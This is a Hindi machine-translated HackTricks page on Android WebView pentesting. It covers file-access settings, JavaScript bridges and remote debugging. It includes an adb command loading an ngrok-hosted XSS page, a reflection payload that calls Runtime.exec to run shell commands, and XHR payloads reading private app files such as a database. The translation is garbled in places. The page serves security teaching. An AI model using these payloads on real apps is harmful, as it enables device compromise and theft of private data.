hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

27 KiB
Raw Blame History

वेबव्यू हमले

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

दिलचस्प समाकृतियाँ

आप इस तरह से एक उज्ज्वलित WebView की पहचान कर सकते हैं:

फ़ाइल एक्सेस

WebView फ़ाइल एक्सेस डिफ़ॉल्ट रूप से सक्षम होता है। API 3 (Cupcake 1.5) से setAllowFileAccess() विधि उपलब्ध होती है जिसका उपयोग इसे सक्षम या अक्षम करने के लिए किया जा सकता है।
यदि एप्लिकेशन में _android.permission.READ_EXTERNAL_STORAGE _ है तो यह बाहरी संग्रह से फ़ाइलें पढ़ और लोड कर सकेगा।
WebView को फ़ाइल यूआरएल स्कीम का उपयोग करना होगा, जैसे file://path/file, ताकि फ़ाइल तक पहुँच सकें।

फ़ाइल यूआरएल से यूनिवर्सल एक्सेस (पुराना)

यह सेट करता है कि फ़ाइल स्कीम यूआर के संदर्भ में क्रॉस-संस्करण अनुरोधों को किसी भी संस्थान से संबंधित सामग्री तक पहुँचने की अनुमति देनी चाहिए। इसमें अन्य फ़ाइल स्कीम यूआर या वेब संदर्भों से सामग्री तक पहुँचने की अनुमति शामिल है। ध्यान दें कि कुछ पहुँच जैसे छवि HTML तत्व उपस्थिति-मूल नियमों का पालन नहीं करती है और इस सेटिंग से प्रभावित नहीं होती है।

यदि आप ऐसी फ़ाइलें खोलते हैं जो बाहरी स्रोतों द्वारा बनाई या संशोधित की जा सकती हैं, तो इस सेटिंग को सक्षम न करें। इस सेटिंग को सक्षम करने से file:// संदर्भ में लोड होने वाले खतरनाक स्क्रिप्ट क्रॉस-साइट स्क्रिप्टिंग हमलों को शुरू करने की अनुमति देता है, जो WebView कुकीज़, ऐप के निजी डेटा या यात्रा की जानकारी को भी शामिल करते हैं

सारांश रूप में यह अनियमित मूलों को लोड करने से रोकेगा। अगर प्रतिक्रिया उस मूल को अनुमति नहीं देती है (Access-Control-Allow-Origin: file://) तो ऐप URL अनुरोध भेजेगा ताकि सामग्री को लोड करें (Origin: file://)।
डिफ़ॉल्ट मान false होता है जब Build.VERSION_CODES.JELLY_BEAN और उससे ऊपर का लक्ष्य है।

  • जानने के लिए getAllowUniversalAccessFromFileURLs() का उपयोग करें कि क्या फ़ाइल स्कीम यूआर के संदर्भ में चल रहे JavaScript किसी भी मूल से सामग्री तक पहुँच सकता है (यदि UniversalAccessFromFileURL सक्षम है)।
  • इसे सक्षम/अक्षम करने के लिए setAllowUniversalAccessFromFileURLs(boolean) का उपयोग करें।

{% hint style="info" %} loadDataWithBaseURL() का उपयोग null

फ़ाइल एक्सेस

WebView के भीतर फ़ाइल एक्सेस को सक्षम या अक्षम करता है। ध्यान दें कि यह केवल फ़ाइल सिस्टम एक्सेस को ही सक्षम या अक्षम करता है। एसेट्स और संसाधन फ़ाइल:///android_asset और फ़ाइल:///android_res का उपयोग करके अभी भी एक्सेस कर सकते हैं।

सारांश में, यदि यह अक्षम हो जाए, तो WebView file:// प्रोटोकॉल के साथ स्थानीय फ़ाइल लोड नहीं कर सकेगा। Build.VERSION_CODES.R को लक्ष्य बनाते हुए डिफ़ॉल्ट मान false है

  • जानने के लिए getAllowFileAccess() का उपयोग करें कि क्या विन्यास सक्षम है।
  • इसे सक्षम/अक्षम करने के लिए setAllowFileAccess(boolean) का उपयोग करें।

WebViewAssetLoader

WebView कक्षा के भीतर http(s):// URL का उपयोग करके एप्लिकेशन के स्थायी एसेट्स और संसाधन सहित स्थानीय फ़ाइलों को लोड करने के लिए सहायक कक्षा। "file://" के बजाय वेब-जैसे URL का उपयोग करके स्थानीय फ़ाइलों को लोड करना इच्छित है क्योंकि यह समान मूल नीति के साथ संगत है।

यह नई सिफारिशित तरीका है स्थानीय फ़ाइलों को लोड करने के लिए। लक्ष्य है कि डोमेन के साथ HTTP URL का उपयोग करके स्थानीय फ़ाइलों तक पहुंचा जा सके। इस तरह CORS को स्थानीय वेब पेजों और वेब पेजों के बीच संगठित रूप से बनाए रखना आसान हो सकता है जो वेब सर्वर से डाउनलोड किए जाते हैं।

जावास्क्रिप्ट सक्षम

WebView में जावास्क्रिप्ट डिफ़ॉल्ट रूप से अक्षम होता है। विधि setJavaScriptEnabled() इसे सक्षम या अक्षम करने के लिए उपयोग की जा सकती है। ध्यान दें कि webviews भी intent scheme का समर्थन कर सकते हैं जो अन्य एप्लिकेशनों को चलाने की अनुमति देता है। XSS से RCE तक कैसे जाएं, इस लेख को पढ़ें।

यहां एक उदाहरण है जिसमें "support_url" पैरामीटर के माध्यम से XSS के माध्यम से अनावरणित वेबव्यू है (जो वेबव्यू में लोड करने के लिए URL निर्दिष्ट कर सकता है):

ऐसा vuln adb से उपयोग किया जा सकता है:

{% code overflow="wrap" %}

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"

{% endcode %}

जावास्क्रिप्ट ब्रिज

एंड्रॉइड वेबव्यू में जावास्क्रिप्ट को निष्पादित करने के लिए एंड्रॉइड ऐप के प्राकृतिक फंक्शन (जिन्हें @JavascriptInterface के साथ चिह्नित किया गया है) को बुलाने और उपयोग करने का एक तरीका प्रदान करता है, addJavascriptInterface विधि का उपयोग करके। इसे वेबव्यू जावास्क्रिप्ट ब्रिज या प्राकृतिक ब्रिज के रूप में जाना जाता है।

कृपया ध्यान दें कि जब आप addJavascriptInterface का उपयोग करते हैं, तो आप सभी पेजों को जिन्हें वेबव्यू में लोड किया गया है, को पंजीकृत जावास्क्रिप्ट इंटरफेस ऑब्जेक्ट का पहुंच स्वतंत्र रूप से प्रदान कर रहे हैं। इसका अर्थ है कि यदि उपयोगकर्ता आपके ऐप या डोमेन के बाहर नेविगेट करता है, तो सभी अन्य बाहरी पेजों को भी उन जावास्क्रिप्ट इंटरफेस ऑब्जेक्ट का पहुंच होगा, जो यदि कोई संवेदनशील डेटा उन इंटरफेस के माध्यम से उजागर हो रहा हो, तो यह एक संभावित सुरक्षा जोखिम प्रस्तुत कर सकता है।

चेतावनी: एंड्रॉइड संस्करण 4.2 (API स्तर 17) से नीचे के लक्ष्यित ऐप्स के साथ अत्यधिक सतर्कता बरतें क्योंकि उनमें addJavascriptInterface के कार्यान्वयन में एक दोष हो सकता है: एक हमला जो प्रतिबिंबन का दुरुपयोग कर रहा है, जो वेबव्यू में दुष्ट जावास्क्रिप्ट डालने पर दूरस्थ कोड निष्पादन के लिए लक्ष्य बनाता है। इसका कारण यह है कि सभी जावा ऑब्जेक्ट विधियाँ डिफ़ॉल्ट रूप से पहुंचने योग्य होती हैं (चिह्नित विधियों के अलावा)।

स्थिरांकन विश्लेषण

//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
}
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>

जब जावास्क्रिप्ट कोड तक पहुंच होती है, उदाहरण के लिए, संग्रहित XSS, MITM हमला या एक खतरनाक वेबसाइट जो WebView में लोड होती है, सीधे उभरते जावा मेथड को कॉल कर सकती है।

{% hint style="info" %} ध्यान दें कि इस संकट को उपयोग करने की कोशिश करने के मामले में, एक आक्रमणकारी वेब पृष्ठ के लिए खुली रीडायरेक्ट के माध्यम से इस संक्रमित वेब पृष्ठ को एक्सेस करने के लिए जब रेडायरेक्ट का उपयोग किया जाता है। यदि रेडायरेक्ट तक पहुंच मोबाइल ब्राउज़र के माध्यम से और WebView का उपयोग नहीं करके किया जाता है, तो ब्राउज़र नेटिव एंड्रॉइड ऑब्जेक्ट तक पहुंच नहीं कर पाएगा। {% endhint %}

यदि addJavascriptInterface आवश्यक है, तो निम्नलिखित विचारों को ध्यान में रखें:

  • केवल APK के साथ प्रदान किया गया जावास्क्रिप्ट ब्रिज का उपयोग करने की अनुमति देनी चाहिए, उदाहरण के लिए प्रत्येक ब्रिज्ड जावा मेथड पर URL की सत्यापन करके (द्वारा WebView.getUrl)।
  • दूरस्थ संदर्भ से कोई भी जावास्क्रिप्ट लोड नहीं होना चाहिए, उदाहरण के लिए ऐप के डोमेन के भीतर पृष्ठ नेविगेशन को रखकर और अन्य सभी डोमेन को डिफ़ॉल्ट ब्राउज़र (जैसे Chrome, Firefox) में खोलकर।
  • पुराने कारणों के लिए आवश्यक होने पर (उदाहरण के लिए पुराने उपकरणों का समर्थन करने की आवश्यकता होने पर), कम से कम मैनिफेस्ट फ़ाइल में ऐप के लिए न्यूनतम API स्तर को 17 सेट करें (<uses-sdk android:minSdkVersion="17" />)

जावास्क्रिप्ट ब्रिज से रिफ्लेक्शन के माध्यम से आरसीई तक

इस शोध में दर्ज किया गया है कि जब आप एक जावास्क्रिप्ट ब्रिज खोजते हैं, तो निम्नलिखित प्रकार के पेलोड का उपयोग करके रिफ्लेक्शन के माध्यम से आरसीई प्राप्त किया जा सकता है:

<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

हालांकि, आधुनिक एप्लिकेशन में @JavascriptInterface एनोटेशन का उपयोग किया जा सकता है जो जावास्क्रिप्टब्रिज को सूचित करता है कि केवल इस एनोटेशन वाली मेथड को ही उजागर किया जाना चाहिए।
उस स्थिति में, आपको Reflection का उपयोग करके अनियमित कोड को निष्पादित करने के लिए सक्षम नहीं होंगे।

रिमोट डीबगिंग

रिमोट WebView डीबगिंग वेबव्यू को Chrome Developer Tools के साथ एक्सेस करने की अनुमति देता है।
यह डिवाइस PC द्वारा एक्सेस करने योग्य होनी चाहिए (USB के माध्यम से, स्थानीय एम्युलेटर, स्थानीय नेटवर्क...) और डीबगगेबल WebView को चला रही होनी चाहिए, फिर chrome://inspect/#devices तक पहुंचें:

इंस्पेक्ट को चुनें और एक नई विंडो खुलेगी। इस विंडो में आप WebView की सामग्री के साथ इंटरैक्ट कर सकते हैं और यहां से कंसोल टैब में से अनियमित JS कोड को भी निष्पादित कर सकते हैं:

WebView रिमोट डीबगिंग सक्षम करने के लिए आप कुछ इस तरह कर सकते हैं:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

यह सेटिंग एप्लिकेशन के सभी WebView पर लागू होती है।

{% hint style="info" %} WebView debugging को एप्लिकेशन के मैनिफेस्ट में debuggable फ्लैग की स्थिति प्रभावित नहीं करती है। यदि आप WebView debugging को केवल जब debuggable true हो तब सक्षम करना चाहते हैं, तो रनटाइम पर फ्लैग की जांच करें। {% endhint %}

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

पेलोड

अनियमित फ़ाइलों को निकालें

यह तकनीक उन एंड्रॉइड ऐप्स के लिए उपयोगी हो सकती है जो WebView का उपयोग करते हैं और फ़ाइल अनुकरण की अनुमति देते हैं। इसके लिए, आपको निम्नलिखित पेलोड को WebView के जरिए भेजना होगा:

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'file:///path/to/file', true);
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4 && xhr.status === 200) {
            var fileContent = xhr.responseText;
            // फ़ाइल सामग्री को अपलोड करने के लिए अपना सर्वर या अन्य संसाधन का उपयोग करें
        }
    };
    xhr.send();
</script>

यहां, file:///path/to/file को आपकी लक्ष्य फ़ाइल के पथ के साथ बदलें। जब यह पेलोड WebView में निष्पादित होगा, यह फ़ाइल के सामग्री को अपने सर्वर या अन्य संसाधन पर भेजेगा। आप इस सामग्री को अपनी आवश्यकतानुसार उपयोग कर सकते हैं, जैसे कि इसे एक लीक या अन्य उद्देश्यों के लिए संग्रहीत करना।

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

संदर्भ

{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}

{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥